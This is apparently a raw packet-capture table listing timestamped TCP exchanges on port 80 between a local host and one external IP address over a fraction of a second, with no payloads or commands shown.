Dec 9, 2024 21:09:18.170908928 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.170922995 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.170967102 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.171714067 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.171756983 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.171828985 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.171869993 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.172578096 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.172621965 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.172656059 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.172697067 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.173558950 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.173607111 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.173764944 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.173814058 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.174417973 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.174463034 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.174498081 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.174547911 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.175215006 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.175256968 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.175286055 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.175329924 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.176026106 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.176076889 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.176155090 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.176202059 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.176903009 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.176949024 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.177007914 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.177054882 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.177782059 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.177794933 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.177834988 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.178687096 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.178736925 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.178761959 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.178808928 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.179503918 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.179558039 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.179625034 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.179673910 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.180471897 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.180521011 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.180536985 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.180586100 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.181248903 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.181299925 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.181355953 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.181406021 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.182121038 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.182168961 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.182231903 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.182274103 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.183060884 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.183105946 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.183109045 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.183147907 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.183916092 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.183964968 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.184015989 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.184066057 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.184736013 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.184793949 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.184799910 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.184838057 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.185676098 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.185698032 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.185736895 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.185759068 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.186485052 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.186506987 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.186536074 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.186557055 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.187356949 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.187410116 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.187468052 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.187517881 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.188237906 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.188308954 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.188340902 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.188390017 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.189090967 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.189173937 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.189258099 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.189305067 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.189923048 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.189960957 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.190047026 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.190085888 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.190872908 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.190927982 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.190948009 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.190993071 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.191740990 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.191800117 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.191827059 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.191875935 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.192538023 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.192598104 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.192676067 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.192725897 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.193414927 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.193474054 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.193629980 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.193675995 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.194279909 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.194336891 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.194351912 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.194391966 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.195153952 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.195214033 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.195285082 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.195331097 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.196021080 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.196079016 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.196111917 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.196156979 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.196887970 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.196944952 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.197040081 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.197089911 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.197766066 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.197822094 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.198091030 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.198149920 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.198685884 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.198751926 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.198793888 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.198863983 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.199546099 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.199592113 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.199635983 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.199681997 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.200390100 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.200437069 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.200541019 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.200579882 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.201219082 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.201258898 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.201497078 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.201558113 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.202131987 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.202172041 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.202198029 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.202234030 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.202976942 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.203020096 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.203090906 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.203131914 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.203818083 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.203866005 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.203918934 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.203953028 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.204710007 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.204751015 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.204812050 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.204850912 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.205564022 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.205606937 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.205678940 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.205718994 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.206419945 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.206461906 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.206521988 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.206562996 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.207309961 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.207367897 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.207431078 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.207468987 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.208142996 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.208194017 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.208306074 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.208365917 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.209141016 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.209186077 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.209306955 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.209348917 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.209870100 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.209906101 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.209923983 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.209963083 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.357559919 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.357620001 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.357682943 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.357729912 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.357960939 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.358001947 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.358206034 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.358248949 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.358804941 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.358818054 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.358855963 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.359635115 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.359684944 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.359795094 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.359846115 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.360555887 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.360609055 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.360716105 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.360757113 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.361402035 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.361449957 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.361476898 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.361520052 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.362231016 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.362281084 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.362313986 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.362361908 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.363156080 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.363207102 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.363274097 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.363323927 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.364012957 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.364039898 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.364056110 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.364083052 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.364836931 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.364886999 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.365019083 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.365067005 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.365684986 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.365741014 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.365799904 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.365842104 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.366571903 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.366620064 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.366683006 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.366724968 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.367440939 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.367490053 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.367594004 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.367638111 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.368304968 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.368442059 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.368468046 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.368511915 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.369219065 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.369266987 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.369395971 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.369440079 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.370106936 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.370150089 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.370173931 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.370219946 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.371021986 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.371066093 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.371150017 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.371191978 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.371812105 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.371857882 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.371944904 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.372001886 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.372669935 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.372718096 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.372783899 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.372859955 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.373538971 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.373588085 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.373641968 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.373693943 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.374411106 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.374464989 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.374618053 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.374674082 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.375317097 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.375361919 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.375421047 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.375464916 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.376151085 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.376199007 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.376283884 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.376323938 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.377054930 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.377113104 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.377119064 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.377161026 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.377883911 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.377928972 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.377985954 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.378032923 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.378774881 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.378823996 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.378854036 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.378894091 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.379637003 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.379686117 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.379803896 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.379854918 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.380467892 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.380517006 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.380568027 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.380615950 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.381362915 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.381406069 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.381436110 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.381477118 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.382241964 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.382286072 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.382538080 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.382584095 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.383079052 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.383119106 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.383299112 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.383342028 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.383936882 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.383985043 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.384188890 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.384234905 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.384835005 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.384848118 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.384893894 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.385688066 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.385735989 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.385762930 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.385803938 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.386620998 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.386668921 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.386698961 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.386745930 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.387506008 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.387553930 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.387650967 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.387701035 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.388302088 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.388354063 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.388433933 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.388478994 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.389261961 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.389312983 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.389329910 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.389378071 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.390011072 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.390047073 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.390050888 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.390089989 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.390880108 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.390924931 CET	49874	80	192.168.2.6	31.41.244.11
Dec 9, 2024 21:09:18.390955925 CET	80	49874	31.41.244.11	192.168.2.6
Dec 9, 2024 21:09:18.390990973 CET	49874	80	192.168.2.6	31.41.244.11
